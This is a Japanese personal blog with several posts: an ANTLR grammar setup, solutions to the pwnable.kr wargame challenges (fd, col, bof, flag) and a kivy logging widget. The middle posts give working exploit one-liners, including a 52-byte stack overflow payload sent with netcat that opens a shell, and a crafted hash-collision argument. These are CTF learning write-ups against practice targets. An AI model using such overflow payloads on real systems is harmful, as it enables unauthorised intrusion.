ANTLR使ってみたよ
ANTLRっていうパーサジェネレータ使ってみた。
ANT(i)LR の意味も含んであるらしい(wiki)。
プリプロセッサを考えてみようかなって思って、ちょっと触ってみた。
環境設定
gradleのantlrのプラグインがあるので、そいつを入れる。
// build.gradle apply plugin : 'antlr'
ライブラリの追加
dependencies { testCompile group: 'junit', name: 'junit', version: '4.12' antlr "org.antlr:antlr4:4.7.1" }
testCompileは使わないので、入れなくてもどちらでもいいです。
Intelli J のプラグインのANTLRv4のプラグインがあります。
これも入れる。
OS X ならpreference->pluginの検索タブからANTLRを入力してリポジトリからインストール。これを入れるとシンタックスハイライトとリアルタイムツリープレビューができる。
試し書き
gradleのプラグインを入れるとsrc/mainにantlrというフォルダができる。ここに、g4という拡張子のファイルを置く。
今回はLang.g4というファイルを作ってみた。
以下、Lang.g4
grammar Lang; /* @header { package sample ; } */ /* * Parser Rules */ input : stmt+ EOF ; stmt : ((assign | expr) (STMTSEP stmt)? NEWLINE?) | NEWLINE | STMTSEP ; assign : ID EQUAL (assign | expr) ; expr : ((ID | INTEGER) (unop expr)?) ; unop : (PLUS | MINUS | STAR | DIV) ; /* * Lexer Rules */ fragment LOWERCASE : [a-z] ; fragment UPPERCASE : [A-Z] ; fragment DIGIT : [0-9] ; ID : (LOWERCASE | UPPERCASE | '_')+ ; INTEGER : ('+' | '-')? DIGIT+ ; SPACE : (' ' | '¥t' | ',' | '¥n') -> skip ; EQUAL : '=' ; MINUS : '-' ; PLUS : '+' ; STAR : '*' ; DIV : '/' ; NEWLINE : ('¥r'? '¥n') | '¥r' ; STMTSEP : ';' ;
Intelli J のプラグインを入れておくと、ウィンドウ下にpreviewというタブがでる。
エディターのパーサールールの名前のところで右クリック->Test Rule XXをクリックするとpreviewに入力したのを解析してグラフにしてくれる。
他はIntelli J のターミナルプラグインを用いて、以下をbuild.gradleに追加して、runする。
apply plugin: 'application' ... mainClassName = "org.antlr.v4.gui.TestRig" ... //gradle 4.8 以下のためのコマンドライン引数を渡す処理 run{ standardInput = System.in if(project.hasProperty("args")){ //スペースで分割 args project.args.split(" ") } }
実行。
gui出力。
% gradle run --args "Lang input --gui" % gradle run --Pargs="Lang input --gui"
コンソール出力。
% gradle run --args "Lang input --tokens" % gradle run --Pargs="Lang input --tokens"
gradle 4.8 以下と 4.9 での書き方。
問題点
文法ファイルの書式がイマイチなのでよくわかんないのと、いい書き方みたいのがまだわかんないからそこらへんを調べてみたい。
pwnable.kr(4)
pwnable.krの4記事目。
linuxの仮想環境立てるのがめんどくさくておくれてしまいました。
まず、添付されてるフラグをダウンロードする。
[b1u3 Downloads]$ sudo u+x ./flag [b1u3 Downloads]$ ./flag I will malloc() and strcpy the flag there. take it.
オォン。
[b1u3 Downloads]$ objdump -d flag flag: ファイル形式 elf64-x86-64
!!!??。
stringsやってもなんかめぼしいのが出なかった。
こっからは調べました!!!
参考にしたのはgoogleで検索してgithubにまとめてあったやつ。
なんで逆アセンブルできなかったんだろうっていう疑問がここで解決した。
UPXっていうフリーのパッカーを使ってるようだ。
UPXの問題はセキュリティコンテストチャレンジブックに載ってたと思う。
美しき策謀のほうだったかな。どっちかわすれました。
UPXをインストールして、解凍する。
[b1u3 Downloads]$ sudo pacman -S upx [b1u3 Downloads]$ upx -d flag -o flag_decompressed [b1u3@localhost]$ readelf -s flag_decompressed |grep main 51: 00000000006c27c0 2184 OBJECT LOCAL DEFAULT 26 main_arena 395: 00000000006c5580 8 OBJECT LOCAL DEFAULT 27 _nl_loaded_domains 916: 0000000000494f60 214 FUNC GLOBAL DEFAULT 7 _nl_unload_domain 934: 000000000041dac0 5900 FUNC GLOBAL DEFAULT 6 _nl_load_domain 1017: 00000000006c60e0 8 OBJECT GLOBAL DEFAULT 27 _nl_domain_bindings 1193: 0000000000430b80 49 FUNC GLOBAL DEFAULT 6 _IO_switch_to_main_wget_a 1301: 000000000041d830 645 FUNC GLOBAL DEFAULT 6 _nl_find_domain 1600: 0000000000401164 61 FUNC GLOBAL DEFAULT 6 main 1719: 00000000004ae998 5 OBJECT GLOBAL DEFAULT 10 _libc_intl_domainname 1760: 0000000000494f10 73 FUNC GLOBAL DEFAULT 7 _nl_finddomain_subfreeres 1938: 00000000004011b0 590 FUNC GLOBAL DEFAULT 6 __libc_start_main 2043: 0000000000402d80 43 FUNC GLOBAL DEFAULT 6 _IO_switch_to_main_get_ar
mainシンボルがちゃんとある。
こっから、
[b1u3 Downloads]$ gdb flag_decompressed -q Reading symbols from flag_decompressed...(no debugging symbols found)...done. (gdb) r Starting program: /home/b1u3/Downloads/flag_decompressed I will malloc() and strcpy the flag there. take it. [Inferior 1 (process 30254) exited normally] (gdb) disass No frame selected. (gdb) disass main Dump of assembler code for function main: 0x0000000000401164 <+0>: push %rbp 0x0000000000401165 <+1>: mov %rsp,%rbp 0x0000000000401168 <+4>: sub $0x10,%rsp 0x000000000040116c <+8>: mov $0x496658,%edi 0x0000000000401171 <+13>: callq 0x402080 <puts> 0x0000000000401176 <+18>: mov $0x64,%edi 0x000000000040117b <+23>: callq 0x4099d0 <malloc> 0x0000000000401180 <+28>: mov %rax,-0x8(%rbp) 0x0000000000401184 <+32>: mov 0x2c0ee5(%rip),%rdx # 0x6c2070 <flag> 0x000000000040118b <+39>: mov -0x8(%rbp),%rax 0x000000000040118f <+43>: mov %rdx,%rsi 0x0000000000401192 <+46>: mov %rax,%rdi 0x0000000000401195 <+49>: callq 0x400320 0x000000000040119a <+54>: mov $0x0,%eax 0x000000000040119f <+59>: leaveq 0x00000000004011a0 <+60>: retq End of assembler dump. (gdb) x/10xb Argument required (starting display address). (gdb) x/10xb 0x6c2070 0x6c2070 <flag>: 0x28 0x66 0x49 0x00 0x00 0x00 0x00 0x00 0x6c2078: 0x00 0x00 (gdb) e/s 0x496628 Ambiguous command "e/s 0x496628": . (gdb) x/s 0x496628
ところどころコマンドミスってるけど気にしないでほしい。
コマンドの説明すると、
gdbを-qで起動時の余計な出力を省いて起動する。
一度実行 r(run) する。
mainフレームを逆アセンブルする。
謎のコメントがあるので、そのアドレスに格納されている値を調べる x(examine)/10(10個)x(16進数で)b(バイト単位で)。
0x6c2070の0x28 0x66 0x49をリトルエンディアンのアドレスとして(0x496628)、x(examine)/x(stringで) 調べる。
これで、フラグが出た。やったぜ!!!
pwnable.kr(3)
ちょっと間が空いて2つ目の記事で終わりそうでした。僕もあまり続くようなたちではないんですけど、頑張ってみようと思います。身になると信じて。
bof
pwnable.krの3つ目の問題です。netcat系の問題ですね。
nc pwnable.kr 9000
を実行して適当に入れるとoverflow me...が出る。
そのあとは、先にソースコードを見た。ソースコードから得られるのは、まず何を入力すればいいのかということ。
関数funcは0xdeadbeefの引数で呼ばれている。引数がpushされて呼ばれているくさいので、当分の目標はpushされた引数をgetsによる変数overflowmeへの書き込みによって上書きするというもの。入力する値は、適当な文字列(少なくとも32文字以上)+¥xbe¥xba¥xfe¥xca。後半部分は、0xcafebabeのリトルエンディアン表記。んで、適当な文字列を何文字入れれば良いのかということなんだけど。
バイナリ見てみる。
% objdump --arch-name=x86 -d bof
まず、mainをみる。
main: 68a: 55 pushl %ebp 68b: 89 e5 movl %esp, %ebp 68d: 83 e4 f0 andl $-16, %esp 690: 83 ec 10 subl $16, %esp 693: c7 04 24 ef be ad de movl $3735928559, (%esp) 69a: e8 8d ff ff ff calll -115 <func> 69f: b8 00 00 00 00 movl $0, %eax 6a4: c9 leave 6a5: c3 retl 6a6: 90 nop
の
693: c7 04 24 ef be ad de movl $3735928559, (%esp)
この部分を見て、deadbeefがスタックに積まれている事がわかる。
その次の行でfuncを呼び出してる。
funcは
func: 62c: 55 pushl %ebp 62d: 89 e5 movl %esp, %ebp 62f: 83 ec 48 subl $72, %esp 632: 65 a1 14 00 00 00 movl %gs:20, %eax 638: 89 45 f4 movl %eax, -12(%ebp) 63b: 31 c0 xorl %eax, %eax 63d: c7 04 24 8c 07 00 00 movl $1932, (%esp) 644: e8 fc ff ff ff calll -4 <func+0x19> 649: 8d 45 d4 leal -44(%ebp), %eax 64c: 89 04 24 movl %eax, (%esp) 64f: e8 fc ff ff ff calll -4 <func+0x24> 654: 81 7d 08 be ba fe ca cmpl $3405691582, 8(%ebp) 65b: 75 0e jne 14 <func+0x3F> 65d: c7 04 24 9b 07 00 00 movl $1947, (%esp) 664: e8 fc ff ff ff calll -4 <func+0x39> 669: eb 0c jmp 12 <func+0x4B> 66b: c7 04 24 a3 07 00 00 movl $1955, (%esp) 672: e8 fc ff ff ff calll -4 <func+0x47> 677: 8b 45 f4 movl -12(%ebp), %eax 67a: 65 33 05 14 00 00 00 xorl %gs:20, %eax 681: 74 05 je 5 <func+0x5C> 683: e8 fc ff ff ff calll -4 <func+0x58> 688: c9 leave 689: c3 retl
どこが変数overflowなのか探すために、比較しているところをみる。
649: 8d 45 d4 leal -44(%ebp), %eax 64c: 89 04 24 movl %eax, (%esp) 64f: e8 fc ff ff ff calll -4 <func+0x24> 654: 81 7d 08 be ba fe ca cmpl $3405691582, 8(%ebp)
ここ。eax = ebp-44 で、この値をスタックにおいてから、getsを呼んでる。したがって、ebp-44がoverflowの先頭だっていう事がわかる。また、cmplからebp+8がfuncの引数keyって事がわかる。したがって、ebp-44からebp+8までの差ebp+8-(ebp-44)=52が適当な文字列の長さ。これに付け加えれば良い。
したがって、入力するコードが
% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000
となる。このあとは、シェルが起動しているので、
% (python -c "print 'a'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000 ls bof bof.c flag log log2 super.pl cat flag
でフラグがでます。
pwnable.kr(2)
布教用兼確認の2記事目
col
2つ目の問題。
col@ubuntu:~$ ls -l total 16 -r-sr-x--- 1 col_pwn col 7341 Jun 11 2014 col -rw-r--r-- 1 root root 555 Jun 12 2014 col.c -r--r----- 1 col_pwn col_pwn 52 Jun 11 2014 flag
MD5って書いてあったから多分、ソースコードcol.cのlongのハッシュコードがMD5なんだと思う。16バイト(128ビット)だし。MD5のアルゴリズムとは何にも関係なさそう。
ソースコードを見てみると、プログラムの引数に値を渡すタイプだって事がわかる。長さは20じゃないとダメ。
if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; }
長さが20でもcheck_passwordの戻り値と定数hashcodeが同じじゃないとダメ。
check_passwordは20バイトの文字列を先頭から4バイトずつリトルエンディアンの整数として5回足すというもの。
unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; }
この戻り値をhashcodeに合わせれば良い。合わせるパターンはいくらでもあるけど、¥x00(ヌル文字)とかは文字列が終了して使えなかったり、アラームとかも使えないんじゃないかって思ったりするので、そういうところは気をつける。
今回は、hashcodeを5で割って最後のにオフセットをつける。hashcodeは0x21DD09ECっていうことを踏まえて、算出する。python3のインタプリターで。
>>> from struct import pack >>> pack('i',0x21DD09EC//5) b'\xc8\xce\xc5\x06' >>> pack('i',0x21DD09EC//5+0x21DD09EC%5) b'\xcc\xce\xc5\x06'
これで準備は整った。
ぶち込んでやるぜぇ。
col@ubuntu:~$ ./col `python -c 'print "\xc8\xce\xc5\x06"*4+"\xcc\xce\xc5\x06"'`
おしまい。
pwnable.kr (1)
CTF布教用の記事。
http://pwnable.kr
pwnable.krというサイトがあります。最初の方は初心者向けだと思います。pwnable.twっていうのもあります。両方、CTF(pwn)の練習になると思います。ブログに書きやすそうなものが最近ないので(規模がでかいため)CTFっぽいのも練習がてらやっていこうと思います。
そんなわけで、ちょっとずつやって行こうと思います。個人的にスクリプトを実行するのが弱いと思っているので、練習がてら 1 行で達成していくのが目標です。
ちなみに既に writeup が出ているのでそれを見てやったのか判断するのは読者次第です(笑)
それでは 爆走兄弟 レッツ & ゴー
fd
ネタバレだから、自分でやろうとする人はこっから見ないでね!!!!!!!!!!
一番最初のやつです。
fd@ubuntu:~$ ls fd fd.c flag fd@ubuntu:~$ cat flag cat: flag: Permission denied fd@ubuntu:~$ ll ll: command not found fd@ubuntu:~$ ls -l total 16 -r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd -rw-r--r-- 1 root root 418 Jun 11 2014 fd.c -r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
こんな感じになってる。今回は、fd.cを直接見た。
fd 完全に file descriptor ことだね。システムコール使うopenとかはFILE構造体じゃなくてだいたいfdを使ったりする(豆)
重要なのはfdが0は標準入力を表すってこと。1は出力で2 はerrだったかな。
これは調べることなく一発で出せた。簡単。llないの不便だよね。aliasでいつもつけます。
$ echo LETMEWIN | ./fd `python -c "print 0x1234"`
これで出るね。というか出た。
四苦八苦はしてないけど、Hackっぽさはあるんじゃない?
ちょっと疑問に思ったことを調べた
echo の n オプションがスクリプト書くと反映されていなかった。なので、ちょっと調べた
% which echo echo: shell built-in command
% cat > test.sh && chmod u+x test.sh && ./test.sh which echo /bin/echo
そもそも違うechoが実行されていたようだ。
ちなみに
% echo ${SHELL} /usr/local/bin/zsh
である。
結果としてbuilt-inのechoは-nが使える。
#! /usr/local/bin/zsh # test.sh with zsh echo -n test echo test
% ./test.sh testtest
でもshだと
#! /bin/sh # test.sh with sh echo -n test echo test
% ./test.sh -n test test
kivyのログを出力するTextInputをつくってみた
タイトルではわかりにくいけど、kivyのログを反映するTextInputをつくってみたが正しいのではないかと思う。
方法
今回は、kivyのLoggerにStreamHandlerを追加して反映させることにした。委譲のAdapterっぽい感じでio.TextIOBaseを継承するTextInputIOなるものをつくり、必要なものを実装していった。
テスト
import unittest from kivy.uix.textinput import TextInput from app.TextInputIO import TextInputIO class TextInputIOTestCase(unittest.TestCase): """ Test for TextInputIO class """ def setUp(self): self.text_input = TextInput() def test_as_context_manager(self): with TextInputIO(self.text_input) as f: pass def test_open_close(self): f = TextInputIO(self.text_input) f.close() def test_write(self): f = TextInputIO(self.text_input) f.write('TESTING TEXT INPUT\n') f.close() def test_non_readable(self): f = TextInputIO(self.text_input) self.assertRaises(OSError, f.read) f.close() def test_non_seekable(self): f = TextInputIO(self.text_input) self.assertRaises(OSError,f.seek) f.close() def test_isatty(self): f = TextInputIO(self.text_input) self.assertEqual(f.isatty(), False) f.close()
こんな感じで書いた。
実装
from io import TextIOBase class TextInputIO(TextIOBase): """ IO for Logger. Using TextInput as file. """ def __init__(self,text_input): super().__init__() self.text_input = text_input def isatty(self): return False def readable(self): return False def writable(self): return True def seekable(self): return False def write(self, s): self.text_input.text += s def writelines(self, lines): if not isinstance(lines,list): raise TypeError('list') for s in lines: if not isinstance(s,str): raise TypeError('str') self.write(s) def close(self): super().close() self.text_input = None
バッファとかないしどうしようかなと思ったりしてた。テストに書いたように__enter__と__exit__を継承してないけど、コンテキストマネージャとして動いた。多分、親のを呼び出してるんだと思う。
使ってみた
from kivy import Logger from kivy.app import App from kivy.uix.button import Button import logging from logging import StreamHandler from kivy.uix.gridlayout import GridLayout from kivy.uix.textinput import TextInput from app.TextInputIO import TextInputIO logger = Logger logger.setLevel(logging.DEBUG) text_input = TextInput() text_input_io = TextInputIO(text_input) sh = StreamHandler(text_input_io) fh = logging.FileHandler('app.log') logger.addHandler(fh) def pressed(view): logger.info('Application: Button was pressed!!') class MainScreen(GridLayout): def __init__(self, **kwargs): super().__init__(**kwargs) self.cols = 1 b = Button(text="Button") b.bind(on_press=pressed) self.add_widget(b) self.add_widget(text_input) logger.addHandler(sh) class TestApp(App): def build(self): return MainScreen() if __name__ == '__main__': TestApp().run()
テスト実行用にこんなの書いた。最初、別のロガーを使っていたのでグローバルなところにロガーの設定があるけど気にしないでほしい。
そこそこ動いた。多分問題点として、スレッドセーフじゃないと思う。あとTextInputを追加する前にloggerにハンドラとして追加すると強制終了する。追加は遅延させないとダメかなと。したがって、最初のGLとかのログメッセージは反映されない。あと、最初のカラムのINFOとかが出なかった。logging.BASIC_FORMATをハンドラに設定しても解析されなかった。
やってみて思ったこと
まだまだ調べることが多そうだなって思った。最近ブログを更新する気がだいぶ出てきたので、この調子でやっていきたいなぁって。